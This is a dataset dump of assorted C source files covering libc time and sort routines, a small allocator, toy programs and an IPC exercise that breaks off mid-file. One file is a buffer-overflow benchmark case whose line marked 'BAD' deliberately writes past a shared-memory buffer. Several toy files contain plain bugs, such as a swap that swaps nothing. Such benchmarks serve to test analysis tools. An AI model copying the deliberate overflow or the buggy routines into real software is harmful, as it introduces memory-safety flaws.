file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/56831.c
#include<stdio.h> int main(){ int num; printf("Enter number whose multiplication table you wish to see:\n"); scanf("%d",&num); printf("\n"); for(int i=0;i<=10;i++) printf("%d * %d = %d\n",num,i,num*i); }
the_stack_data/225141872.c
/* from the MiNT library */ /* mktime, localtime, gmtime */ /* written by Eric R. Smith and placed in the public domain */ #include <stdio.h> #include <stddef.h> #include <stdlib.h> #include <time.h> #include <ctype.h> #define toint(c) ((c)-'0') #if 0 #include <stdio.h> static void DEBUG_TM(const char *nm, struct tm *tm) { char buf[100]; (void)strftime(buf, 100, "%c %z", tm); printf("%s: %s\n", nm, buf); } #else #define DEBUG_TM(nm, tm) #endif #define SECS_PER_MIN (60L) #define SECS_PER_HOUR (3600L) #define SECS_PER_DAY (86400L) #define SECS_PER_YEAR (31536000L) #define SECS_PER_LEAP_YEAR (31536000L + SECS_PER_DAY) #define SECS_PER_FOUR_YEARS (4*SECS_PER_YEAR + SECS_PER_DAY) #define START_OF_2012 (1325376000UL) #define START_OF_2100 (4102444800UL) int _timezone = -1; /* holds # seconds west of GMT */ static int days_per_mth[12] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; static int mth_start[13] = { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }; time_t __tzoffset(char *s, int *hasdst); int __indst(const struct tm *t); static int dst = -1; /* whether dst holds in current timezone */ /* * FIXME: none of these routines is very efficient. Also, none of them * handle dates before Jan 1, 1970. * */ int _is_leap_year(int y) { if ( (0 == y % 4) ) { if (0 == y % 100) return (0 == y % 400); return 1; } return 0; } /* * mktime: take a time structure representing the local time (such as is * returned by localtime() and convert it into the standard representation * (as seconds since midnight Jan. 1 1970, GMT). * * Note that time() sends us such a structure with tm_yday and tm_wday * undefined, so we shouldn't count on these being correct! */ time_t mktime(struct tm *t) { time_t s; int yday; /* day of the year */ int year; /* full year */ int leaps; DEBUG_TM("mktime", t); if (t->tm_year < 70) /* year before 1970 */ return (time_t) -1; /* calculate tm_yday here */ year = 1900 + t->tm_year; yday = (t->tm_mday - 1) + mth_start[t->tm_mon] + /* leap year correction */ ( (_is_leap_year(year) ) ? (t->tm_mon > 1) : 0 ); s = (t->tm_sec)+(t->tm_min*SECS_PER_MIN)+(t->tm_hour*SECS_PER_HOUR) + (yday*SECS_PER_DAY)+((year - 1970)*SECS_PER_YEAR); /* add in the number of leap years since 1970 */ /* note that 2000 is a leap year, but 2100, 2200, and 2300 are not */ leaps = (year - 1969)/4; if (year > 2000) { leaps -= (year - 2000)/100; } s += leaps*SECS_PER_DAY; /* Now adjust for the time zone and possible daylight savings time */ /* note that we have to call tzset() every time; see 1003.1 sect 8.1.1 */ _tzset(); s += _timezone; if (dst == 1 && __indst(t)) s -= SECS_PER_HOUR; return s; } struct tm *_gmtime_r(const time_t *t, struct tm *stm) { time_t time = *t; int year, mday, i; time_t yearlen; stm->tm_wday = (int) (((time/SECS_PER_DAY) + 4) % 7); if (time >= START_OF_2012) { time -= START_OF_2012; year = 2012; } else { year = 1970; } for(;;) { if (_is_leap_year(year)) yearlen = SECS_PER_LEAP_YEAR; else yearlen = SECS_PER_YEAR; if (time < yearlen) break; year++; time -= yearlen; } /* at this point we should have the seconds left in the year */ stm->tm_year = year - 1900; mday = stm->tm_yday = (int)(time/SECS_PER_DAY); days_per_mth[1] = _is_leap_year(year) ? 29 : 28; for (i = 0; mday >= days_per_mth[i]; i++) mday -= days_per_mth[i]; stm->tm_mon = i; stm->tm_mday = mday + 1; time = time % SECS_PER_DAY; stm->tm_hour = (int) (time/SECS_PER_HOUR); time = time % SECS_PER_HOUR; stm->tm_min = (int) (time/SECS_PER_MIN); stm->tm_sec = (int) (time % SECS_PER_MIN); stm->tm_isdst = 0; DEBUG_TM("gmtime", stm); return stm; } /* given a standard time, convert it to a local time */ struct tm *_localtime_r(const time_t *t, struct tm *stm) { time_t gmsecs; /*time in GMT */ _tzset(); gmsecs = *t; if ((int)gmsecs > _timezone) gmsecs = gmsecs - _timezone; stm = _gmtime_r(&gmsecs, stm); stm->tm_isdst = (dst == -1) ? -1 : 0; if (dst == 1 && __indst((const struct tm *)stm)) { /* daylight savings time in effect */ stm->tm_isdst = 1; if (++stm->tm_hour > 23) { stm->tm_hour -= 24; stm->tm_wday = (stm->tm_wday + 1) % 7; stm->tm_yday++; stm->tm_mday++; if (stm->tm_mday > days_per_mth[stm->tm_mon]) { stm->tm_mday = 1; stm->tm_mon++; } } } DEBUG_TM("localtime", stm); return stm; } struct tm *localtime(const time_t *t) { static struct tm time_temp; return _localtime_r(t, &time_temp); } struct tm *gmtime(const time_t *t) { static struct tm time_temp; return _gmtime_r(t, &time_temp); } /* * there appears to be a conflict between Posix and ANSI; the former * mandates a "tzset()" function that gets called whenever time() * does, and which sets some global variables. ANSI wants none of * this. Several Unix implementations have tzset(), and few people are * going to be hurt by it, so it's included here but named as _tzset * so it does not violate ANSI */ /* set the timezone and dst flag to the local rules. Also sets the global variable tzname to the names of the timezones */ char *_tzname[2] = {"UCT", "UCT"}; void _tzset(void) { _timezone = __tzoffset(getenv("TZ"), &dst); } /* * determine the difference, in seconds, between the given time zone * and Greenwich Mean. As a side effect, the integer pointed to * by hasdst is set to 1 if the given time zone follows daylight * savings time, 0 if there is no DST. * * Time zones are given as strings of the form * "[TZNAME][h][:m][TZDSTNAME]" where h:m gives the hours:minutes * east of GMT for the timezone (if [:m] does not appear, 0 is assumed). * If the final field, TZDSTNAME, appears, then the time zone follows * daylight savings time. * * Example: EST5EDT would represent the N. American Eastern time zone * CST6CDT would represent the N. American Central time zone * NFLD3:30NFLD would represent Newfoundland time (one and a * half hours ahead of Eastern). * OZCST-9:30 would represent the Australian central time zone. * (which, so I hear, doesn't have DST). * * NOTE: support for daylight savings time is currently very bogus. * It's probably best to do without, unless you live in North America. * */ #define TZNAMLEN 8 /* max. length of time zone name */ time_t __tzoffset(char *s, int *hasdst) { time_t off; int x, sgn = 1; static char stdname[TZNAMLEN+1], dstname[TZNAMLEN+1]; static char unknwn[4] = "???"; char *n; *hasdst = -1; /* Assume unknown */ if (!s || !*s) return 0; /* Assume GMT */ *hasdst = 0; n = stdname; while (*s && isalpha(*s)) { *n++ = *s++; /* skip name */ } *n = 0; /* now figure out the offset */ x = 0; if (*s == '-') { sgn = -1; s++; } while (isdigit(*s)) { x = 10 * x + toint(*s); s++; } off = x * SECS_PER_HOUR; if (*s == ':') { x = 0; s++; while (isdigit(*s)) { x = 10 * x + toint(*s); s++; } off += (x * SECS_PER_MIN); } n = dstname; if (isalpha(*s)) { *hasdst = 1; while (*s && isalpha(*s)) *n++ = *s++; } *n = 0; if (stdname[0]) _tzname[0] = stdname; else _tzname[0] = unknwn; if (dstname[0]) _tzname[1] = dstname; else _tzname[1] = stdname; return sgn * off; } /* * Given a tm struct representing the local time, determine whether * DST is currently in effect. This should only be * called if it is known that the time zone indeed supports DST. * * FIXME: For now, assume that everyone follows the North American * time zone rules, all the time. This means daylight savings * time is assumed to be in effect from the second Sunday in March * to the first Sunday in November. * */ int __indst(const struct tm *t) { if (t->tm_mon == 2) { /* March */ /* see if two sundays have happened yet */ if (7 + t->tm_wday - t->tm_mday < 0) return 1; /* yep */ return 0; } if (t->tm_mon == 10) { /* November */ /* has sunday happened yet? */ if (t->tm_wday - t->tm_mday < 0) return 0; /* yep */ return 1; } /* Otherwise, see if it's a month between March and November exclusive */ return (t->tm_mon > 2 && t->tm_mon < 10); } #ifdef __GNUC__ /* * provide weak aliases (so the user can override) for gmtime_r and localtime_r */ struct tm *gmtime_r(const time_t *t, struct tm *stm) __attribute__((weak,alias("_gmtime_r"))); struct tm *localtime_r(const time_t *t, struct tm *stm) __attribute__((weak,alias("_localtime_r"))); #endif
the_stack_data/234519559.c
/* * author: Mahmud Ahsan * https://github.com/mahmudahsan * blog: http://thinkdiff.net * http://banglaprogramming.com * License: MIT License */ /* * String * \0 is auto assigned */ #include <stdio.h> int main(){ char name[] = {"Steve Jobs"}; char anotherName[] = "Bill Gates"; // curly braces are optional printf("%s\n", name); printf("%s\n", anotherName); return 0; }
the_stack_data/1171191.c
/* * Copyright (c) 2006-2021, RT-Thread Development Team * * SPDX-License-Identifier: Apache-2.0 * * Change Logs: * Date Author Notes * 2021/04/22 Juice Add isrtable for JuiceVm. */ typedef void (*irq_handler_t)(void); // #define DEFINE_IRQ_HANDLER(irq_handler, driver_irq_handler) \ // void __attribute__((weak)) irq_handler(void) { driver_irq_handler();} // #define DEFINE_DEFAULT_IRQ_HANDLER(irq_handler) void irq_handler() __attribute__((weak, alias("DefaultIRQHandler"))) // DEFINE_IRQ_HANDLER(UART0_IRQHandler, UART0_DriverIRQHandler); extern void UART0_DriverIRQHandler(void); const irq_handler_t isrTable[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, UART0_DriverIRQHandler, // uart0_irq_ecode = 24 };
the_stack_data/148577259.c
/* * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * The Original Code is Copyright (C) 2013 Blender Foundation * All rights reserved. */ /** \file * \ingroup bli */ #include <stdlib.h> #if defined(__GLIBC__) && (__GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 8)) /* do nothing! */ #else # include "BLI_utildefines.h" # include "BLI_sort.h" # ifdef min /* for msvc */ # undef min # endif /* Maintained by FreeBSD. */ /* clang-format off */ /** * qsort, copied from FreeBSD source. * with only very minor edits, see: * http://github.com/freebsd/freebsd/blob/master/sys/libkern/qsort.c * * \note modified to use glibc arg order for callbacks. */ BLI_INLINE char *med3(char *a, char *b, char *c, BLI_sort_cmp_t cmp, void *thunk); BLI_INLINE void swapfunc(char *a, char *b, int n, int swaptype); #define min(a, b) (a) < (b) ? (a) : (b) #define swapcode(TYPE, parmi, parmj, n) \ { \ long i = (n) / sizeof(TYPE); \ TYPE *pi = (TYPE *) (parmi); \ TYPE *pj = (TYPE *) (parmj); \ do { \ TYPE t = *pi; \ *pi++ = *pj; \ *pj++ = t; \ } while (--i > 0); \ } #define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \ es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1; BLI_INLINE void swapfunc(char *a, char *b, int n, int swaptype) { if (swaptype <= 1) swapcode(long, a, b, n) else swapcode(char, a, b, n) } #define swap(a, b) \ if (swaptype == 0) { \ long t = *(long *)(a); \ *(long *)(a) = *(long *)(b);\ *(long *)(b) = t; \ } else \ swapfunc(a, b, es, swaptype) #define vecswap(a, b, n) if ((n) > 0) swapfunc(a, b, n, swaptype) #define CMP(t, x, y) (cmp((x), (y), (t))) BLI_INLINE char *med3(char *a, char *b, char *c, BLI_sort_cmp_t cmp, void *thunk) { return CMP(thunk, a, b) < 0 ? (CMP(thunk, b, c) < 0 ? b : (CMP(thunk, a, c) < 0 ? c : a )) : (CMP(thunk, b, c) > 0 ? b : (CMP(thunk, a, c) < 0 ? a : c )); } /** * Quick sort re-entrant. */ void BLI_qsort_r(void *a, size_t n, size_t es, BLI_sort_cmp_t cmp, void *thunk) { char *pa, *pb, *pc, *pd, *pl, *pm, *pn; int d, r, swaptype, swap_cnt; loop: SWAPINIT(a, es); swap_cnt = 0; if (n < 7) { for (pm = (char *)a + es; pm < (char *)a + n * es; pm += es) { for (pl = pm; pl > (char *)a && CMP(thunk, pl - es, pl) > 0; pl -= es) { swap(pl, pl - es); } } return; } pm = (char *)a + (n / 2) * es; if (n > 7) { pl = (char *)a; pn = (char *)a + (n - 1) * es; if (n > 40) { d = (n / 8) * es; pl = med3(pl, pl + d, pl + 2 * d, cmp, thunk); pm = med3(pm - d, pm, pm + d, cmp, thunk); pn = med3(pn - 2 * d, pn - d, pn, cmp, thunk); } pm = med3(pl, pm, pn, cmp, thunk); } swap((char *)a, pm); pa = pb = (char *)a + es; pc = pd = (char *)a + (n - 1) * es; for (;;) { while (pb <= pc && (r = CMP(thunk, pb, a)) <= 0) { if (r == 0) { swap_cnt = 1; swap(pa, pb); pa += es; } pb += es; } while (pb <= pc && (r = CMP(thunk, pc, a)) >= 0) { if (r == 0) { swap_cnt = 1; swap(pc, pd); pd -= es; } pc -= es; } if (pb > pc) { break; } swap(pb, pc); swap_cnt = 1; pb += es; pc -= es; } if (swap_cnt == 0) { /* Switch to insertion sort */ for (pm = (char *)a + es; pm < (char *)a + n * es; pm += es) { for (pl = pm; pl > (char *)a && CMP(thunk, pl - es, pl) > 0; pl -= es) { swap(pl, pl - es); } } return; } pn = (char *)a + n * es; r = min(pa - (char *)a, pb - pa); vecswap((char *)a, pb - r, r); r = min(pd - pc, pn - pd - es); vecswap(pb, pn - r, r); if ((r = pb - pa) > es) { BLI_qsort_r(a, r / es, es, cmp, thunk); } if ((r = pd - pc) > es) { /* Iterate rather than recurse to save stack space */ a = pn - r; n = r / es; goto loop; } } /* clang-format on */ #endif /* __GLIBC__ */
the_stack_data/912161.c
#include <stdio.h> void scilab_rt_scf_d0_(double scalarin0) { printf("%f", scalarin0); }
the_stack_data/128506.c
#define _GNU_SOURCE #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <string.h> #include <sys/mman.h> static size_t align_to(size_t n, size_t align) { size_t x = align - 1; return (n + x) & ~x; } typedef struct HeapEntryHeader { size_t size; struct HeapEntryHeader *next; } HeapEntryHeader; static HeapEntryHeader *heap_free_list = NULL; static uint8_t *heap_block = NULL; static size_t heap_block_used = 0; static size_t heap_block_size = 0; static uint8_t *ptr_for_header(HeapEntryHeader *header) { return (uint8_t *)header + sizeof(HeapEntryHeader); } static HeapEntryHeader *header_for_ptr(void *ptr) { return (HeapEntryHeader *)((uintptr_t)ptr - sizeof(HeapEntryHeader)); } void *malloc(size_t size) { if (size == 0) return NULL; HeapEntryHeader *curr_entry = heap_free_list; HeapEntryHeader *prev_entry = NULL; while (curr_entry != NULL) { if (curr_entry->size >= size) { if (prev_entry == NULL) { heap_free_list = curr_entry->next; } else { prev_entry->next = curr_entry->next; } return ptr_for_header(curr_entry); } prev_entry = curr_entry; curr_entry = curr_entry->next; } size_t extra = align_to(sizeof(HeapEntryHeader) + size, 8); if (heap_block_used + extra > heap_block_size) { if (heap_block_size == 0) heap_block_size = 32768; while (extra > heap_block_size) heap_block_size *= 2; heap_block_used = 0; void *new_heap_block = mmap(NULL, heap_block_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (new_heap_block == MAP_FAILED) { return NULL; } heap_block = new_heap_block; } HeapEntryHeader *new_header = (HeapEntryHeader *)(heap_block + heap_block_used); heap_block_used += extra; new_header->next = NULL; new_header->size = size; return ptr_for_header(new_header); } // We put this in the same TU because when do you ever use malloc without using // free, and then we don't need a separate header for the implementation // details. void free(void *ptr) { if (ptr == NULL) return; HeapEntryHeader *header = header_for_ptr(ptr); header->next = heap_free_list; heap_free_list = header; } void *realloc(void *ptr, size_t size) { if (ptr == NULL) return malloc(size); if (size == 0) return NULL; HeapEntryHeader *header = header_for_ptr(ptr); size_t old_size = header->size; if (old_size >= size) return ptr; void *new_ptr = malloc(size); if (new_ptr == NULL) return NULL; memcpy(new_ptr, ptr, old_size); free(ptr); return new_ptr; } void *calloc(size_t nmemb, size_t size) { if (nmemb == 0 || size == 0) return NULL; void *ptr = malloc(nmemb * size); memset(ptr, 0, nmemb * size); return ptr; }
the_stack_data/151704378.c
// Search for an array element based on its value or its index. #include <stdio.h> int main(void) { int LA[] = { 1, 3, 5, 7, 8 }; int item = 5, n = 5; int i = 0, j = 0; printf("Array elements are :\n"); for (i = 0; i < n; i++) { printf("LA[%d] = %d \n", i, LA[i]); } while (j < n) { if (LA[j] == item) { break; } j = j + 1; } printf("Found element %d at index %d and position %d\n", item, j, j + 1); }
the_stack_data/1236028.c
#include <stdio.h> #include <stdlib.h> enum heap_constant { root = 1 }; void swap(int* a, int* b) { int* t; t = b; b = a; a = t; } typedef struct heap heap; struct heap { int* x; size_t size; size_t maxsize; }; heap* heap_new(size_t maxsize) { int* x = calloc(maxsize, sizeof *x); heap* h = malloc(sizeof *h); *h = (heap){ .x = x, .size = 0, .maxsize = maxsize, }; return h; } void heap_delete(heap* h) { free(h->x); free(h); } void heap_shiftup(size_t len, int x[len], size_t n) { size_t i, p; i = n; for (;;) { if (i == root) { break; } p = i/2; if (x[p] <= x[i]) { break; } swap(&x[p], &x[i]); i = p; } } void heap_shiftdown(size_t len, int x[len], size_t n) { size_t i, c; i = root; for (;;) { c = 2*i; if (c > n) { break; } if ((c+1 <= n) && (x[c+1] < x[c])) { c += 1; } if (x[i] <= x[c]) { break; } swap(&x[c], &x[i]); i = c; } } void heap_insert(heap* h, int t) { size_t size = h->size; size_t maxsize = h->maxsize; if (size < maxsize) { h->x[size] = t; heap_shiftup(maxsize, h->x, size); h->size += 1; } } void heap_print(heap* h) { for (size_t i = 0; i < h->size; ++i) { printf("%d ", h->x[i]); } printf("\n"); } typedef struct priqueue priqueue; struct priqueue { heap* h; }; priqueue* priqueue_new(size_t maxsize) { heap* h = heap_new(maxsize); priqueue* p = malloc(sizeof *p); *p = (priqueue){ .h = h, }; return p; } void priqueue_delete(priqueue* p) { heap_delete(p->h); free(p); } void priqueue_insert(priqueue* p, int t) { heap_insert(p->h, t); } void priqueue_print(priqueue* p) { heap_print(p->h); } int main(int argc, char* argv[argc+1]) { size_t mx = 100; int x[14] = {0, 12, 20, 15, 29, 23, 17, 22, 35, 40, 26, 51, 19, 13}; return 0; }
the_stack_data/100140698.c
// use-def elimination should have no effects // same that use_def_elim12 // but with braces to be sure it change nothing for the analysis #include <stdlib.h> int use_def_elim14() { int r; if (rand()) { r = 1; r = r; } else { r = 0; r = r; } return r; }
the_stack_data/73576430.c
#include <stdio.h> void message1() { printf("Goodbye "); } void message2() { printf("Cruel World!\n"); }
the_stack_data/100256.c
int x = 12; int main(){ int a; a = x << 3; return a; }
the_stack_data/127510.c
/* Taxonomy Classification: 0004100000000000000200 */ /* * WRITE/READ 0 write * WHICH BOUND 0 upper * DATA TYPE 0 char * MEMORY LOCATION 4 shared * SCOPE 1 inter-procedural * CONTAINER 0 no * POINTER 0 no * INDEX COMPLEXITY 0 constant * ADDRESS COMPLEXITY 0 constant * LENGTH COMPLEXITY 0 N/A * ADDRESS ALIAS 0 none * INDEX ALIAS 0 none * LOCAL CONTROL FLOW 0 none * SECONDARY CONTROL FLOW 0 none * LOOP STRUCTURE 0 no * LOOP COMPLEXITY 0 N/A * ASYNCHRONY 0 no * TAINT 0 no * RUNTIME ENV. DEPENDENCE 0 no * MAGNITUDE 2 8 bytes * CONTINUOUS/DISCRETE 0 discrete * SIGNEDNESS 0 no */ /* Copyright 2005 Massachusetts Institute of Technology All rights reserved. Redistribution and use of software in source and binary forms, with or without modification, are permitted provided that the following conditions are met. - Redistributions of source code must retain the above copyright notice, this set of conditions and the disclaimer below. - Redistributions in binary form must reproduce the copyright notice, this set of conditions, and the disclaimer below in the documentation and/or other materials provided with the distribution. - Neither the name of the Massachusetts Institute of Technology nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS". ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <assert.h> #include <stdlib.h> int getSharedMem() { return (shmget(IPC_PRIVATE, 10, 0xffffffff)); } void relSharedMem(int memID) { struct shmid_ds temp; shmctl(memID, IPC_RMID, &temp); } int main(int argc, char *argv[]) { int memIdent; char * buf; memIdent = getSharedMem(); assert(memIdent != -1); buf = ((char *) shmat(memIdent, NULL, 0)); assert(((int)buf) != -1); /* BAD */ buf[17] = 'A'; shmdt((void *)buf); relSharedMem(memIdent); return 0; }
the_stack_data/126698.c
/* Copyright (C) 2000, 2001 Silicon Graphics, Inc. All Rights Reserved. This program is free software; you can redistribute it and/or modify it under the terms of version 2.1 of the GNU Lesser General Public License as published by the Free Software Foundation. This program is distributed in the hope that it would be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Further, this software is distributed without any warranty that it is free of the rightful claim of any third person regarding infringement or the like. Any license provided herein, whether implied or otherwise, applies only to this software file. Patent licenses, if any, provided herein do not apply to combinations of this program with other software, or any other product whatsoever. You should have received a copy of the GNU Lesser General Public License along with this program; if not, write the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston MA 02111-1307, USA. Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pky, Mountain View, CA 94043, or: http://www.sgi.com For further information regarding this notice, see: http://oss.sgi.com/projects/GenInfo/NoticeExplan */ #pragma ident "@(#) libu/clib/writea.c 92.1 07/01/99 13:42:20" long WRITEA(fd, buf, nbyte, status, signo) long *fd, *buf, *nbyte, *status, *signo; { return((long)writea(*fd, (char *)buf, *nbyte, status, *signo)); }
the_stack_data/92325572.c
#include <stdio.h> #include <string.h> #include<stdlib.h> #include<ctype.h> #define TElemType int #define MAXL 100 typedef enum {Link,Thread} PointerTag; typedef struct BiThrNode{ TElemType data; struct BiThrNode *lchild,*rchild; PointerTag LTag,RTag; }BiThrNode,*BiThrTree; BiThrTree pre; int Biarr[MAXL]; char c; int count = 0; void BuildBiTree(BiThrTree T,int pos,int Biarr[]); void Initialize(int arr[]); void getArr(int arr[]); int getnum(void); void search(BiThrTree T,int num); void BuildBiTree(BiThrTree T,int pos,int Biarr[]){ if(Biarr[pos]==-1 || pos>=MAXL || !T) return; T->data = Biarr[pos]; if(2*pos<MAXL && Biarr[2*pos]!=-1) T->lchild = (BiThrTree)malloc(sizeof(BiThrNode)); else T->lchild = NULL; if(2*pos+1<MAXL && Biarr[2*pos+1]!=-1) T->rchild = (BiThrTree)malloc(sizeof(BiThrNode)); else T->rchild = NULL; //T->LTag = T->RTag = Link; BuildBiTree(T->lchild,2*pos,Biarr); BuildBiTree(T->rchild,2*pos+1,Biarr); return; } void Initialize(int arr[]){ memset(arr,-1,MAXL*sizeof(int)); } void getArr(int arr[]){ extern char c; c = '.'; int i = 1; int mid; while (c!=EOF && c!='\n' && c!=';') { if(c==',') i++; mid = getnum(); while(i!=1 && arr[i/2]==-1) i++; arr[i] = mid; } arr[0] = i; } int getnum(void){ extern char c; char m; int num = 0; int sign = 1; while((c=getchar())!=EOF && c!='\n' && isdigit(c)){ if(c=='-') sign = -1; num = num*10 + c - '0'; } if(c=='n'){ m = getchar(); m = getchar(); m = getchar(); c = getchar(); return -1; } return num*sign; } int main(){ Initialize(Biarr); getArr(Biarr); BiThrTree T; T = (BiThrTree)malloc(sizeof(BiThrNode)); BuildBiTree(T,1,Biarr); int num; num = getnum(); search(T,num); return 0; } void search(BiThrTree T,int num){ extern int count; if(!T) return; if(T->data >= num){ search(T->rchild,num); if(count) printf(","); printf("%d",T->data); count++; search(T->lchild,num); }else search(T->rchild,num); return; }
the_stack_data/232956176.c
/* The contents of this file are subject to the Mozilla Public License Version 1.1 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/MPL/ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License. The Original Code is expat. The Initial Developer of the Original Code is James Clark. Portions created by James Clark are Copyright (C) 1998, 1999 James Clark. All Rights Reserved. Contributor(s): Alternatively, the contents of this file may be used under the terms of the GNU General Public License (the "GPL"), in which case the provisions of the GPL are applicable instead of those above. If you wish to allow use of your version of this file only under the terms of the GPL and not to allow others to use your version of this file under the MPL, indicate your decision by deleting the provisions above and replace them with the notice and other provisions required by the GPL. If you do not delete the provisions above, a recipient may use your version of this file under either the MPL or the GPL. */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #ifndef S_ISREG #ifndef S_IFREG #define S_IFREG _S_IFREG #endif #ifndef S_IFMT #define S_IFMT _S_IFMT #endif #define S_ISREG(m) (((m) & S_IFMT) == S_IFREG) #endif /* not S_ISREG */ #ifndef O_BINARY #ifdef _O_BINARY #define O_BINARY _O_BINARY #else #define O_BINARY 0 #endif #endif int filemap(const char *name, void (*processor)(const void *, size_t, const char *, void *arg), void *arg) { size_t nbytes; int fd; int n; struct stat sb; void *p; fd = open(name, O_RDONLY|O_BINARY); if (fd < 0) { perror(name); return 0; } if (fstat(fd, &sb) < 0) { perror(name); return 0; } if (!S_ISREG(sb.st_mode)) { fprintf(stderr, "%s: not a regular file\n", name); return 0; } nbytes = sb.st_size; p = malloc(nbytes); if (!p) { fprintf(stderr, "%s: out of memory\n", name); return 0; } n = read(fd, p, nbytes); if (n < 0) { perror(name); close(fd); return 0; } if (n != nbytes) { fprintf(stderr, "%s: read unexpected number of bytes\n", name); close(fd); return 0; } processor(p, nbytes, name, arg); free(p); close(fd); return 1; }
the_stack_data/242329708.c
#include <stdio.h> #include <sys/wait.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <fcntl.h> #define MAX 256 struct msgbuf { long mtype; char str[MAX]; // int count; // int endFlag; int countMax; }; int main() { struct msgbuf message; key_t key; pid_t pid; int msgid, ff; scanf("%d", &message.countMax); //printf("CountMax = %d\n", countMax); ff = open("file", O_CREAT | O_TRUNC | O_RDWR, 0644); if (ff < 0) { perror("file"); return 1; } key = ftok("file", 'a'); if (key < 0) { perror("key"); return 2; } close(ff); msgid = msgget(key, IPC_CREAT | 0666); if (msgid < 0) { perror("msgget"); return 3; } // printf("MESSAGE --> Type=%ld, Str=%s, lengthOfStr=%ld, countMax=%d\n", message.mtype, message.str, strlen(message.str), countMax); if ((pid = fork()) < 0) { perror("fork"); return 3; } else if (pid == 0) { // C1 char buf1[256]; char c1[] = "a"; msgrcv(msgid, &message, sizeof(message), 1, 0); strcpy(buf1, message.str); //printf("RECEIVED MESSAGETYPE=%ld AND GOING INSIDE CYCLE C1\n", message.mtype); while (1) { message.mtype = 2; strcat(buf1, c1); strcpy(message.str, buf1); // printf("C1[%d] = %c\n", i++, c1); if (c1[0] == 'z') { c1[0] = 'a'; } else { c1[0]++; } //printf("C1[%d] -> %c\n", i++, c1); msgsnd(msgid, &message, sizeof(message), 0); if (strlen(buf1) == message.countMax) { //done and sent to parent // printf("END OF C1\n"); message.mtype = 5; msgsnd(msgid, &message, sizeof(message), 0); return 0; } msgrcv(msgid, &message, sizeof(message), 4, 0); strcpy(buf1, message.str); if (strlen(buf1) == message.countMax) { message.mtype = 2; msgsnd(msgid, &message, sizeof(message), 0); return 0; } } return 0; } else { if ((pid = fork()) < 0) { perror("fork"); return 3; } else if (pid == 0) { // C2 char buf2[256]; char c2[] = "0"; while (1) { msgrcv(msgid, &message, sizeof(message), 2, 0); message.mtype = 3; strcpy(buf2, message.str); // printf("C2[%d] -> %d\n", j++, c2); if (strlen(buf2) == message.countMax) { msgsnd(msgid, &message, sizeof(message), 0); return 0; } strcat(buf2, c2); strcpy(message.str, buf2); if (c2[0] == '9') c2[0] = '0'; else c2[0]++; msgsnd(msgid, &message, sizeof(message), 0); if (strlen(buf2) == message.countMax) { // printf("END OF C2\n"); message.mtype = 5; msgsnd(msgid, &message, sizeof(message), 0); return 0; } } // printf("END -> C2\n"); return 0; } else { if ((pid = fork()) < 0) { perror("fork"); return 3; } else if (pid == 0) { // C3 char buf3[256]; char c3[] = "A"; while (1) { msgrcv(msgid, &message, sizeof(message), 3, 0); //printf("C3[%d] -> %c\n", k++, c3); message.mtype = 4; strcpy(buf3, message.str); if (strlen(buf3) == message.countMax) { message.mtype = 4; msgsnd(msgid, &message, sizeof(message), 0); return 0; } strcat(buf3, c3); strcpy(message.str, buf3); if (c3[0] == 'Z') c3[0] = 'A'; else c3[0]++; msgsnd(msgid, &message, sizeof(message), 0); if (strlen(buf3) == message.countMax) { //printf("END OF C3\n"); message.mtype = 5; msgsnd(msgid, &message, sizeof(message), 0); return 0; } } // printf("END -> C3\n"); return 0; } else { // PARENT scanf("%d", &message.countMax); message.mtype = 1; message.str[0] = '\0'; // printf("FATHER SENDING THE FIRST MSG TO C1\n"); msgsnd(msgid, &message, sizeof(message), 0); // printf("FATHER RECEIVED THE FINAL MSG\n"); msgrcv(msgid, &message, sizeof(message), 5, 0); printf("%s\n", message.str); 